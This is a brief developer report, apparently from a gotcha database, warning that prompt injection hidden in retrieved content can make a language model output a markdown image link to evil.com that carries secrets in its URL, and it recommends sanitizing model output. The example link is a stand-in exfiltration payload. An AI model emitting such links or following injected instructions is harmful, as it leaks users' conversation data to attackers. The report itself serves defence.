Report #95368
[gotcha] LLM data exfiltration via markdown image rendering
Sanitize LLM output to strip markdown image syntax or intercept/rewrite URLs before rendering in the client, preventing automatic HTTP requests to attacker-controlled domains.
Journey Context:
Developers treat LLM output as safe text, but if rendered as markdown in a web UI, the LLM can be tricked \(via indirect prompt injection in RAG\) into outputting \!\[exfil\]\(https://evil.com/log?secret=...\). The browser automatically fetches the URL, leaking the conversation context or sensitive data to the attacker without any user interaction.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-22T18:39:13.480871+00:00— report_created — created